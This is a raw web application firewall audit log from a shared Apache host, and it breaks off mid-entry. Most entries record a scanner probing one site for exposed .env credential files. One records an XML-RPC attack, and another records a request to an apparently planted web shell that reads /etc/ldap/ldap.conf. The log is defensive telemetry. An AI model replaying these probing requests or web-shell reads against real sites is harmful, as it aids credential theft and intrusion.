aE8ddgW_rlaNA7qLBTtCcQAAAAs 185.177.72.210 58604 127.0.0.1 7081 --d08f5d6c-B-- GET /:5000/.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d08f5d6c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1fbaabfffbe98e23dce9c934a50173361750015351; expires=Sun, 15 Jun 2025 20:22:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d08f5d6c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.example"] [unique_id "aE8ddgW_rlaNA7qLBTtCcQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015350987392 658236 (- - -) Stopwatch2: 1750015350987392 658236; combined=2028, p1=416, p2=1506, p3=0, p4=0, p5=106, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d08f5d6c-Z-- --99ee5d5f-A-- [16/Jun/2025:00:52:58.079900 +0530] aE8dkSKD19h5xDtM-2wbPAAAAAo 185.177.72.210 36808 127.0.0.1 7081 --99ee5d5f-B-- GET /:8443/server/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --99ee5d5f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d64254875873af315d2358564e179d0a1750015377; expires=Sun, 15 Jun 2025 20:22:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --99ee5d5f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/server/.env"] [unique_id "aE8dkSKD19h5xDtM-2wbPAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015377430887 649075 (- - -) Stopwatch2: 1750015377430887 649075; combined=1869, p1=456, p2=1182, p3=0, p4=0, p5=230, sr=115, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --99ee5d5f-Z-- --8c065773-A-- [16/Jun/2025:00:52:59.137549 +0530] aE8dku5gkr5NYpwyzHH3EgAAAAg 185.177.72.210 36848 127.0.0.1 7081 --8c065773-B-- GET /:5601/front-empathy/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8c065773-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9f993ccf00251fe22048e03abcb4a22e1750015378; expires=Sun, 15 Jun 2025 20:22:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8c065773-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/front-empathy/.env"] [unique_id "aE8dku5gkr5NYpwyzHH3EgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015378396814 740809 (- - -) Stopwatch2: 1750015378396814 740809; combined=1883, p1=354, p2=1423, p3=0, p4=0, p5=106, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8c065773-Z-- --f2791702-A-- [16/Jun/2025:00:53:00.158830 +0530] aE8dkz3D4g1mGjVnV5KFTwAAAAY 185.177.72.210 44216 127.0.0.1 7081 --f2791702-B-- GET /:5000/api/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f2791702-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c11519b332b5647c305c141a1cce67811750015380; expires=Sun, 15 Jun 2025 20:23:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f2791702-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/api/.env.staging"] [unique_id "aE8dkz3D4g1mGjVnV5KFTwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015379456633 702282 (- - -) Stopwatch2: 1750015379456633 702282; combined=1979, p1=384, p2=1467, p3=0, p4=0, p5=127, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f2791702-Z-- --15a9e943-A-- [16/Jun/2025:00:53:10.130553 +0530] aE8dnSCwfN5GtQhYhHBC6wAAAAw 185.177.72.210 41172 127.0.0.1 7081 --15a9e943-B-- GET /examples/11-transactions/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --15a9e943-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5d361da3be4d5c56f8196ebcb4ec50c11750015389; expires=Sun, 15 Jun 2025 20:23:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --15a9e943-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/11-transactions/.env"] [unique_id "aE8dnSCwfN5GtQhYhHBC6wAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015389441734 688890 (- - -) Stopwatch2: 1750015389441734 688890; combined=1836, p1=394, p2=1354, p3=0, p4=0, p5=87, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --15a9e943-Z-- --a56d4434-A-- [16/Jun/2025:00:53:27.496003 +0530] aE8drj3D4g1mGjVnV5KFYwAAAAY 128.199.112.101 52226 127.0.0.1 7081 --a56d4434-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a56d4434-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a56d4434-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8drj3D4g1mGjVnV5KFYwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015406536942 959129 (- - -) Stopwatch2: 1750015406536942 959129; combined=2305, p1=337, p2=1507, p3=45, p4=72, p5=210, sr=102, sw=134, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a56d4434-Z-- --5ae3ee46-A-- [16/Jun/2025:00:53:37.271751 +0530] aE8duD6fDirgE_qJvgHI6gAAAAA 185.177.72.210 38194 127.0.0.1 7081 --5ae3ee46-B-- GET /:8181/v1/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5ae3ee46-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9fd1f5e27a22a3143bafc755c54b965c1750015417; expires=Sun, 15 Jun 2025 20:23:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5ae3ee46-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/v1/.env"] [unique_id "aE8duD6fDirgE_qJvgHI6gAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015416604718 667096 (- - -) Stopwatch2: 1750015416604718 667096; combined=2110, p1=402, p2=1622, p3=0, p4=0, p5=86, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5ae3ee46-Z-- --c7a50659-A-- [16/Jun/2025:00:53:39.251682 +0530] aE8dupnj7pFxi-BGHz6sNQAAAAI 185.177.72.210 38328 127.0.0.1 7081 --c7a50659-B-- GET /:8008/environnements/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c7a50659-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=abd05ce35e4582e5a9c8e4bdd79542c01750015419; expires=Sun, 15 Jun 2025 20:23:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c7a50659-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/environnements/.env"] [unique_id "aE8dupnj7pFxi-BGHz6sNQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015418605666 646092 (- - -) Stopwatch2: 1750015418605666 646092; combined=2268, p1=451, p2=1721, p3=0, p4=0, p5=95, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c7a50659-Z-- --0c4b3339-A-- [16/Jun/2025:00:53:45.027592 +0530] aE8dwCCwfN5GtQhYhHBDAgAAAAw 185.177.72.210 40260 127.0.0.1 7081 --0c4b3339-B-- GET /ContainerRegistry/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0c4b3339-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=07129d1b4b65882a8f35dd79825e606a1750015424; expires=Sun, 15 Jun 2025 20:23:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0c4b3339-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/ContainerRegistry/.env"] [unique_id "aE8dwCCwfN5GtQhYhHBDAgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015424378474 649180 (- - -) Stopwatch2: 1750015424378474 649180; combined=1876, p1=371, p2=1419, p3=0, p4=0, p5=85, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0c4b3339-Z-- --cb82393b-A-- [16/Jun/2025:00:53:48.918686 +0530] aE8dxO5gkr5NYpwyzHH3NgAAAAg 185.177.72.210 40412 127.0.0.1 7081 --cb82393b-B-- GET /:5601/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cb82393b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b6305e2abd9dcf461f429116e0f746d81750015428; expires=Sun, 15 Jun 2025 20:23:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cb82393b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env"] [unique_id "aE8dxO5gkr5NYpwyzHH3NgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015428247995 670752 (- - -) Stopwatch2: 1750015428247995 670752; combined=2008, p1=486, p2=1444, p3=0, p4=0, p5=78, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cb82393b-Z-- --37174c6b-A-- [16/Jun/2025:00:53:57.816357 +0530] aE8dzXsalJN_0-_70dLu3AAAAAU 185.177.72.210 38750 127.0.0.1 7081 --37174c6b-B-- GET /:8443/api/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --37174c6b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d44cfe5b076cc7ea47fe70584fedba821750015437; expires=Sun, 15 Jun 2025 20:23:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --37174c6b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/api/.env"] [unique_id "aE8dzXsalJN_0-_70dLu3AAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015437159076 657344 (- - -) Stopwatch2: 1750015437159076 657344; combined=1700, p1=361, p2=1238, p3=0, p4=0, p5=101, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --37174c6b-Z-- --9e016460-A-- [16/Jun/2025:00:54:00.920911 +0530] aE8d0Jnj7pFxi-BGHz6sRQAAAAI 34.205.163.103 48418 127.0.0.1 7081 --9e016460-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/ldap&viewfile=//etc/ldap/ldap.conf HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 34.205.163.103 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --9e016460-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3162 Connection: close Content-Type: text/html; charset=UTF-8 --9e016460-H-- Message: Warning. Matched phrase "etc/ldap/ldap.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/ldap/ldap.conf found within ARGS:viewfile: /etc/ldap/ldap.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/ldap/ldap.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/ldap/ldap.conf found within ARGS:viewfile: /etc/ldap/ldap.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8d0Jnj7pFxi-BGHz6sRQAAAAI"] Apache-Handler: application/x-httpd-php Stopwatch: 1750015440916751 4212 (- - -) Stopwatch2: 1750015440916751 4212; combined=2383, p1=349, p2=1894, p3=47, p4=39, p5=54, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9e016460-Z-- --f68e883d-A-- [16/Jun/2025:00:54:13.560162 +0530] aE8d3D6fDirgE_qJvgHJBgAAAAA 185.177.72.210 45032 127.0.0.1 7081 --f68e883d-B-- GET /.env.ses HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f68e883d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b6b1b6f0d299e91281b343ecb23261711750015453; expires=Sun, 15 Jun 2025 20:24:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f68e883d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.ses"] [unique_id "aE8d3D6fDirgE_qJvgHJBgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015452873811 686414 (- - -) Stopwatch2: 1750015452873811 686414; combined=1681, p1=382, p2=1200, p3=0, p4=0, p5=98, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f68e883d-Z-- --261f7e70-A-- [16/Jun/2025:00:54:16.844677 +0530] aE8d4O5gkr5NYpwyzHH3SQAAAAg 185.177.72.210 45136 127.0.0.1 7081 --261f7e70-B-- GET /:8888/admin/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --261f7e70-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=856bbfc79d3c84f2722a697a106f16c01750015456; expires=Sun, 15 Jun 2025 20:24:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --261f7e70-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file 